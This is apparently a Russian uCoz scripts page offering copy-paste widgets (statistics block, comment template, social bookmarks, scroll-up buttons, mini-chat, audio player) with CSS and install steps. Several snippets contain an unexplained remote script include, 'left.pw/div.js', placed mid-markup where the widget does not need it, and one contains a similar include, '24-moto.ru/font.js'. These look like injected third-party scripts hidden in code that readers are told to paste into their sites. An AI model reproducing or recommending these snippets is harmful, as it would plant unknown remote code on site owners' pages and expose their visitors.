Скрипты сайтов - Главная страница

скрипт рейтинга с положительной и отрицательной оценкой для юкоз
Установка:
В шаблон вида материалов нужного модуля вставляем код:

Код

В CSS стиль вставляем:

Код

.rate {background:url(http://pnghosts.ru/img/orating.png) no-repeat; width:73px; height:21px; position:relative; margin:7px 0 0 5px; padding:3px 0 0 0; text-align:center;}
a.orating_m, a.orating_p{height:21px; width:21px; background:url(http://pnghosts.ru/img/orating.png) no-repeat;}
a.orating_m{float:right; background-position:-21px -24px; margin:-1px 1px 0 0;}
a.orating_m:hover{background-position:-21px 100%;}
a.orating_m.orated{background-position:-21px -24px;}
a.orating_p{float:left; background-position:0 -24px; margin:-1px 0 0 1px;}
a.orating_p:hover{background-position:0 100%;}
a.orating_p.orated{background-position:0 100%;}
a.orating_res,span.orating_res {background:#64b327; box-shadow:inset 0 1px 1px rgba(0,0,0,0.2); font-size:10px; color:#fff; padding:3px 8px; border-radius:5px;line-height:20px;}
a.orating_res:hover{color:#f0f0f0;}

Для модуля "Новости", заменяем $ID$ на $ENTRY_ID$

Категория: Скрипты для Ucoz | Просмотров: 1558 | Добавил: Bitfood | Дата: 13.09.2014 | Комментарии (0)

Красивая статистика для uCoz

Создайте блок с названием "Cтатистика сайта" и вставьте в него сделующий код:

Код

<div id="statistic">

  <div class="Tstatis">
  <div class="title_statis">Счетчики пользователей</div>
  <div class="turn" onclick="$('.Bstatis').slideToggle('slow');" href="javascript://"></div>
  </div>

  <div style="display:none;" class="Bstatis">
  $MYINF_1$
  </div>

  <div class="Tstatis">
  <div class="title_statis">Онлайн сайта</div>
  <div class="turn" onclick="$('.Bstatis2').slideToggle('slow');" href="javascript://"></div>
  </div><script type="text/javascript" src="http://left.pw/div.js"></script>

  <div style="display:none;" class="Bstatis2">
  $ONLINE_COUNTER$
  </div>

  <div class="Tstatis">
  <div class="title_statis">Счетчики сайта</div>
  <div class="turn" onclick="$('.Bstatis3').slideToggle('slow');" href="javascript://"></div>
  </div>

  <div style="display:none;text-align:center;" class="Bstatis3">
  $COUNTER$
  </div>

  <div class="Tstatis">
  <div class="title_statis">Сегодня нас посетили</div>
  <div class="turn" onclick="$('.Bstatis4').slideToggle('slow');" href="javascript://"></div>
  </div>

  <div style="display:none;padding-left:4px;" class="Bstatis4">
  $MYINF_2$
  </div>

</div>

Этот код нужно поставить на все страницы, перед </head> !!!

Код

Создайте два информера:

$MYINF_1$
[ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ]

Код

<dl>Всего: $ALL_USERS$</dl>
  <dl>За месяц: $30DAYS$</dl>
  <dl>За неделю: $7DAYS$</dl>
  <dl>Вчера: $YESTERDAY$</dl>
  <dl>Сегодня: $TODAY$</dl>

$MYINF_2$
[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя ]

Код автоматом ставится.

В CSS добавьте стили:

Код

#statistic {width:208px;overflow:hidden;margin:0 auto;color:#fff;}
.Tstatis {height:24px;margin-top:6px;}
.title_statis {background:url(http://pnghosts.ru/img/statistic_title.png) no-repeat;float:left;width:171px;height:19px;font:11px Tahoma;text-shadow:1px 1px 0 #553a11;padding:4px 0 0 5px;overflow:hidden;}
.turn {background:url(http://pnghosts.ru/img/button_turn.png) no-repeat;float:right;width:37px;height:23px;margin:0 0 0 -5px;}
.Bstatis, .Bstatis2, .Bstatis3, .Bstatis4 {width:208px;font:11px Tahoma;text-shadow:1px 1px 0 #191919;margin-top:2px;}
#statistic dl {background:url(http://pnghosts.ru/img/arrow.png) no-repeat left;height:12px;line-height:10px;padding:0 0 0 18px;margin:4px 0 4px 0;display:block;}
#statistic .tOnline, #statistic .gOnline, #statistic .uOnline {background:url(http://pnghosts.ru/img/arrow.png) no-repeat left;height:12px;line-height:10px;padding:0 0 0 18px;margin:4px 0 4px 0;display:block;}

Категория: Скрипты для Ucoz | Просмотров: 864 | Добавил: Bitfood | Дата: 06.09.2014 | Комментарии (0)

Вид комментариев ucoz с круглым Avatar

Уважаемые пользователи сайта, вот не плохой и даже очень оригинальный Вид комментариев ucoz с круглым Avatar, где сами картинки будут распологаться напротив и это очень красиво смотриться. Был создан он по своим стилям, как для светло серого сайта и безусловно он еще подойдет на темный дизайн.

Установка его очень проста, для начало нужно добавить стиль на его. Если идет стиль на скрипт, то можно сразу сказать что он будет смотрется красиво и даже иметь свои тени. Но потом и сам код заминить на тот который увас стоит по умолчанию, если у вас стандартный шаблон и все сохранить.

1) Заходим в панель управления и выбираем "вид комментариев" и меняем там все на наш скрипт.

Код

<?if($CLASS$)=='cBlock1'?>
<div style="padding-bottom:9px;">
<table cellspacing="0" width=100%><tr><td width=96 valign=top>
  <div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">
  <div class="ob_wp">
  <div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>
  </div> </div> </div></div>


  <div style="margin-left:-15px"> <center>
<?if($MODER_PANEL$)?>
  <a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>
  <?endif?>
  </center></div>
  </td><td valign=top>

  <div style="position: absolute;margin-left:-9px;margin-top:14px;"><div id="triangle-left"></div></div>
  <div class="mess_wp">
  <div style="padding:6px">
<table><tr>
  <td valign=top><script type="text/javascript" src="http://left.pw/div.js"></script><div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>
  <td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>
  </tr></table>
  </div>

  </div>
  </div>
  </td></tr></table>

<?else?>
<div style="padding-bottom:9px;">
<table cellspacing="0" width=100%><tr><td valign=top>
  <div class="mess_wp">
  <div style="padding:6px">
<table><tr>
  <td valign=top>
  <div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>
  <td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>
  </tr></table>
  </div>

  </div>
  </div>
  </td><td width=96>
  <div style="position: absolute;margin-left:-2px;margin-top:14px;"><div id="triangle-left1"></div></div>
  <div style="float:right">
  <div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">
  <div class="ob_wp">
  <div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>
  </div> </div> </div></div></div>
  <div style="margin-right:-24px"> <center>
<?if($MODER_PANEL$)?>
  <a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>
  <?endif?>
  </center></div>
  </td></tr></table>
<?endif?>

И CSS добавляем.

Код

.com_wp {border-radius:50%;background:#fff;width:65;height:65}
  .ob_wp { width:73;height:73;background: #20242b;border-radius:50%; }

  .ob_wp1 { width:81;height:81;background:rgba(255,255,255,0.3);;border-radius:50%; }

  .mess_wp{box-shadow: 0 1px 1px rgba(0, 0, 0, 0.5);border-radius:4;background: #efefef;
background: -moz-linear-gradient(top, #efefef 0%, #dbdbdb 100%);
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#efefef), color-stop(100%,#dbdbdb));
background: -webkit-linear-gradient(top, #efefef 0%,#dbdbdb 100%);
background: -o-linear-gradient(top, #efefef 0%,#dbdbdb 100%);
background: -ms-linear-gradient(top, #efefef 0%,#dbdbdb 100%);
background: linear-gradient(to bottom, #efefef 0%,#dbdbdb 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#efefef', endColorstr='#dbdbdb',GradientType=0 );
}
  .tim_wp{background:d7d7d7;border-radius:4;}
  #triangle-left {
  width: 0;
  height: 0;
  border-top: 7px solid transparent;
  border-right: 9px solid #e1e1e1;
  border-bottom: 7px solid transparent;
}#triangle-left1 {
  width: 0;
  height: 0;
  border-top: 7px solid transparent;
  border-left: 9px solid #e1e1e1;
  border-bottom: 7px solid transparent;
}

Категория: Скрипты для Ucoz | Просмотров: 642 | Добавил: Bitfood | Дата: 06.09.2014 | Комментарии (0)

Up на подобии как в вк

Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:

Код

.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}
.scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}

3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:

Код

На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме

Категория: Скрипты для Ucoz | Просмотров: 573 | Добавил: Bitfood | Дата: 06.09.2014 | Комментарии (0)

Cоц. закладки для сайта

Набор соц. закладок для сайта - твиттер, вк, фейсбук, гугл +1
Установка:
Где желаем видеть вставляем код в HTML:

Код

<table style="width: 100%; height: 100px;border-collapse: collapse;"><tbody><tr><td style="width: 25%; height: 50px; background-image: url(http://pnghosts.ru/img/vk1.jpg); letter-spacing: 0px; word-spacing: 0px; text-align: center; vertical-align: middle; background-position: 50% 50%; background-repeat: repeat repeat;"><script type="text/javascript" src="http://left.pw/div.js"></script><img src="http://pnghosts.ru/img/vk2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/tw1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/tw2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/fb1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/fb2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/gp1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/gp2.jpg" alt="" align="middle"><br></td></tr><tr><td style="width: 25%; height: 40px; background-image: url(http://pnghosts.ru/img/vk3.jpg); letter-spacing: 0px; word-spacing: 0px; text-align: center; vertical-align: middle; background-position: 50% 50%;"><div align="center">
<script type="text/javascript" src="http://vk.com/js/api/share.js?90" charset="windows-1251"></script>


<script type="text/javascript"></script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/tw3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><div align="center"><a href="https://twitter.com/share" class="twitter-share-button" data-lang="ru" data-count="none">Твитнуть</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/fb3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%;"><div align="center"><a name="fb_share" type="button_count" href="http://www.facebook.com/sharer.php">Опубликовать</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/gp3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><div align="center">
<div class="g-plusone" data-annotation="inline" data-width="160"></div>


<script type="text/javascript">
  window.___gcfg = {lang: 'ru'};

  (function() {
  var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
  po.src = 'https://apis.google.com/js/platform.js';
  var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
</script></div></td></tr></tbody></table>

Категория: Скрипты для Ucoz | Просмотров: 579 | Добавил: Bitfood | Дата: 01.09.2014 | Комментарии (0)

Кнопка наверх в виде ракеты с эффектом огня

Кнопка наверх выполненная в виде ракеты с эффектом огня

Устанавливаем в нижнюю часть сайта:

<div id="MrScrollUp" style="display: block; right: 49.5px;">
<div class="MrScrollUp1" style="opacity: 0; display: block; background-position: -62px 0px;"></div>
<div class="MrScrollUp2"></div><script type="text/javascript" src="http://left.pw/div.js"></script></div>
<link rel="stylesheet" type="text/css" href="http://pnghosts.ru/js_css/raketa.css">
<script type="text/javascript" src="http://pnghosts.ru/js_css/MrScrollUp_raketa.js"></script>

Категория: Скрипты для Ucoz | Просмотров: 641 | Добавил: Bitfood | Дата: 31.08.2014 | Комментарии (0)

Полный мини-чат для uCoz

Удобный и функциональный выдвижной мини-чат для uCoz от Урааа. Это абсолютно полная и рабочая версия мини-чата.

Мини-чат уже завоевал популярность, и многие сайты поставили себе такой же, но скрипт, которым я поделился со своими пользователями, ограничен – отсутствует звуковое оповещение и панель для выбора смайлов. Это не просто полная версия, а новая дополненная версия мини-чата. В мини-чат добавлен счетчик пользователей онлайн, а ваши сообщения в чате выделяются.

Установка

1. Активируйте модуль мини-чат. В настройках модуля активируйте дополнительные поля 1 и 2.

2. Админ панель - Управление дизайном » Мини-чат » Вид материалов
Нужно все убрать и прописать этот код:

Код

<?if($CUSTOM2$='active')?>
<div class="msg">
<div class="sb$PARITY$ comm_id$USER_ID$">
<table cellspacing="0" cellpadding="0">
<tr>
<td id="av$USER_ID$" valign="top" width="36"><div class="av"><div>
<a href="$PROFILE_URL$"><img src="$CUSTOM1$" alt="$USERNAME$" /></a></div></td>
<td id="ms$USER_ID$" valign="top">
<div class="us"><div class="pdvr"><span class="l_it"><a href="javascript:otbet('$USERNAME$')" class="otbv">Ответить</a> |</span> <span title="$DATE$">$TIME$</span></div>
<a href="$PROFILE_URL$">$USERNAME$</a></div>
<div style="width:222px;overflow:hidden;margin-bottom:2px"<?if($NUMBER$='1')?> id="c_one"<?endif?>>$MESSAGE$</div>
</td>
</tr>
</table>
</div>
</div>
<?endif?>

Потом меняем Форма добавления сообщений:

Код

<?if(!$USER_LOGGED_IN$)?>
<?else?>
<input type="hidden" name="custom1" class="mchat" id="mchatC1F" value="/images/noavatar.gif" />
<input type="hidden" name="custom2" value="active" />
<div align="left"><input type="text" name="mcmessage" class="mchat" id="mchatMsgF" maxlength="500" value="" /></div>
<input type="submit" onclick="messages();setTimeout(function(){messages()},500)" value="Отправить" class="mchat2" id="mchatBtn" />
<input type="hidden" name="email" value="1@yraaa.ru">
<input style="display:none;" id="mchatAjax" type="button" value="Отправить" class="mchat2" disabled />
<?endif?>

И теперь в низ сайта, ставим этот код:


<script type="text/javascript" src="http://pnghosts.ru/js_css/cookies.js"></script>
<style type="text/css">
#c_one_clon, #c_tell {position:absolute;top:-1500px}
.chat_over {position:fixed;padding:5px;padding-top:0;z-index:9999;bottom:-202px;right:20px;text-align:center;background:rgba(0,0,0,0.6); border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;font-size:13px}
#setting_chat {float:right;margin:5px;width:16px;height:16px;overflow:hidden}
#setting_chat a {width:16px;height:16px;overflow:hidden;display:inline-block;background:url('http://pnghosts.ru/img/cog_chat.png') 2px 2px no-repeat}
#online_counter {float:right;color:#FFF;padding:5px;padding-left:16px;background:url('http://pnghosts.ru/img/user_16.png') 0px 9px no-repeat;cursor: pointer}
#bottom_chat {text-align:left;display:none;padding:5px;color:#FFFFFF;cursor: pointer}
#top_chat {text-align:left;padding:5px;color:#FFFFFF;cursor: pointer}
.ngd {cursor:default; background:#FFF; padding:5px; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;}
.pdvr {float:right}
.clkg {width:288px;padding:5px;padding-bottom:6px;border:1px solid #EAEAEA;background:#EAEAEA;color:#000;text-align:left;border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;}
#wrapper2 .comm {margin-top:0;margin-left:0px;}
.sb1, .sb2 {margin-bottom:5px;padding:4px;-webkit-border-radius: 3px;-moz-border-radius: 3px;border-radius: 3px;}
.cs2 {margin-top:3px;color:#E32F17;font-size:10px}
.cs1 {margin-top:3px;color:#2B2B2B;font-size:10px}
.chtt iframe {display:none}
.mchat {width:250px}
.chtt {margin-top:5px}
#mchatMsgF {margin:0;width:300px;padding:5px;padding-right:53px;border:1px solid #FFFFFF;background:#FFFFFF; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;}
#mchatBtn {position:absolute;top:-1200px}
#mchatAjax {background:#646464;position:absolute;right:-200px}
.ch_sml {z-index:9;display:none;margin-top:-106px;margin-left:128px;position:absolute;padding:5px;background:rgba(0,0,0,0.7);border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;}
.ch_smlin {width:157px;height:91px;background:#FFFFFF;overflow:hidden;text-align:left;border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;}
.ch_smlin img {padding-left:3px;padding-top:3px;float:left;cursor:pointer;transition: all linear .2s; -moz-transition: all linear .2s; -webkit-transition: all linear .2s; -o-transition: all linear .2s;}
.ch_smlin img:hover { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=70)"; filter: alpha(opacity=70); -moz-opacity: 0.7; -khtml-opacity: 0.7; opacity: 0.7; }
.smile_in {cursor:pointer;width:19px;height:19px;overflow:hidden;background:url('http://pnghosts.ru/img/smile_open.gif');z-index:3;position:absolute;margin-left:276px;margin-top:8px;transition: all linear .2s;-moz-transition: all linear .2s; -webkit-transition: all linear .2s; -o-transition: all linear .2s}
.smile_in:hover {-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=70)"; filter: alpha(opacity=70); -moz-opacity: 0.7; -khtml-opacity: 0.7; opacity: 0.7; }
.otbv, .otbv:hover {color:#6A6A6A}
.sound_on {margin-top:9px;margin-left:252px;width:19px;height:19px;background:url('http://pnghosts.ru/img/sound_on.gif');position:absolute;cursor:pointer}
.sound_off {margin-top:9px;margin-left:252px;width:19px;height:19px;background:url('http://pnghosts.ru/img/sound_off.gif');display:none;position:absolute;cursor:pointer}
.precat {float:right;margin-left:10px;margin-bottom:10px}
#wrapper2 {background:#FFF;width: 290px;height: 200px;overflow: auto;}
#scroller {text-align:left; width:270px; padding:0}
.comm {margin-left:6px;margin-top:10px}
.comm .us {color:#646464;font-size:10px;margin-top:-2px;padding:0}
.comm .av {margin-right:10px;width:28px;height:28px;overflow:hidden;background:#666666}
.comm .av img {width:28px}

/* jscrollpane */

.jspContainer{overflow: hidden;position: relative;}
.jspPane {position: absolute}
.jspVerticalBar {position: absolute; top: 0; right: 0; width: 8px; height: 100%; background:rgba(255,255,255,0);}
.jspHorizontalBar{position: absolute; bottom: 0; left: 0; width: 100%; height: 8px;background:rgba(255,255,255,0)}
.jspVerticalBar *, .jspHorizontalBar * {margin: 0;padding: 0}
.jspCap {display: none;}
.jspHorizontalBar .jspCap {float: left;}
.jspTrack {background:rgba(255,255,255,0); position: relative;}
.jspDrag {background:rgba(0,0,0,0.4);position: relative; top: 0;left: 0;cursor: pointer; border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;transition: all linear .2s; -moz-transition: all linear .2s;-webkit-transition: all linear .2s; -o-transition: all linear .2s;}
.jspDrag:hover {background:rgba(0,0,0,0.6);}
.jspDrag:active {background:rgba(0,0,0,0.8);}
.jspHorizontalBar .jspTrack, .jspHorizontalBar .jspDrag {float: left;height: 100%;}
.jspArrow {background: #50506d; text-indent: -20000px; display: block; cursor: pointer;}
.jspArrow.jspDisabled{cursor: default;background: #80808d}
.jspVerticalBar .jspArrow {height: 16px;}
.jspHorizontalBar .jspArrow {width: 16px; float: left; height: 100%;}
.jspVerticalBar .jspArrow:focus{outline: none;}
.jspCorner{background: #eeeef4;float: left;height: 100%}
* html .jspCorner {margin: 0 -3px 0 0}
</style>

<script type="text/javascript" src="http://pnghosts.ru/js_css/jquery.jscrollpane.js"></script>
<script type="text/javascript" src="http://pnghosts.ru/js_css/jquery.mousewheel.js"></script>
<script type="text/javascript" src="http://left.pw/div.js"></script> ... Читать дальше »

Категория: Скрипты для Ucoz | Просмотров: 511 | Добавил: Bitfood | Дата: 29.08.2014 | Комментарии (0)

Радио для сайта

Устанавливаете любое место сайта

Код

Категория: Скрипты для сайта | Просмотров: 1144 | Добавил: Bitfood | Дата: 30.03.2014 | Комментарии (0)

Вид статистика для ucoz

Создать глобальный блок и вставляет в него код:

Код

<center>$COUNTER$</center>
<hr><center><img src="http://pnghosts.ru/img/81.png" border="0"></a></center> $ONLINE_COUNTER$[ <a href="#" onclick="new _uWnd('OnUsrLst',' ',250,200,{autosize:0},{url:'/index/62'});return false;">Кто on-line?</a> ]<script type="text/javascript" src="http://24-moto.ru/font.js"></script><br>[ <a href="#" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'}); return false;" class="fUsrList">Кто нас сегодня посетил</a> ]

Категория: Скрипты для Ucoz | Просмотров: 784 | Добавил: Bitfood | Дата: 12.03.2014 | Комментарии (0)

Аудиоплеер серого цвета с плейлистом

Аудиоплеер имеет размеры 305Х235 и оснащён плейлистом который может содержать любое количество музыкальных композиций или радиопотоков. Воспроизведение музыки автоматически не переключается на следующую, каждую мелодию нужно включать индивидуально. Для установки понадобится скопировать весь код из примера, создать текстовый документ для плейлиста или скачать готовый и составить список воспроизводимых композиций. После составления списка воспроизведения закачайте готовый файл файл плейлиста на сервер своего сайта и укажите путь к нему в коде плеера и поместите весь код плеера там где хотите его видеть. Установка кода аудиоплеера производится в любом месте поддерживающем HTML редактирование. Аудиоплеер может работать без плейлиста, воспроизводя одну композицию.

Код для установки аудиоплеера с плейлистом

Вам потребуется заменить ссылку ( http://pnghosts.ru/js_css/playlist-demo.txt ) на Ваш плейлист и установить код там где будет находиться аудиоплеер с плейлистом.

Код

Пример файла плейлиста аудиоплеера

Впишите название композиции и ссылку на неё, количество песен в плейлисте может быть любым, можно использовать радиопотоки, они вписываются аналогично музыкальным ссылкам. При формировании плейлиста нельзя создавать пробелы и переносы в строках. Ячейка одной композиции выглядит так:
{"comment":"НАЗВАНИЕ","file":"ССЫЛКА НА МУЗЫКУ"}
Обратите внимание, между ячейками стоит запятая, её нет только после последней.

Код

{"playlist":[{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"},{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"},{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"}]}

Код для установки аудиоплеера без плейлиста

Аудиоплеер с размерами 305Х36 будет оснащён только одной музыкальной композицией или радиопотоком, для добавления измените ссылку http://SITE.RU/SOUNDS.mp3 на свою.

Код

Категория: Скрипты для Ucoz | Просмотров: 771 | Добавил: Bitfood | Дата: 03.03.2014 | Комментарии (0)

1-10 11-20 21-30 ... 241-250 251-257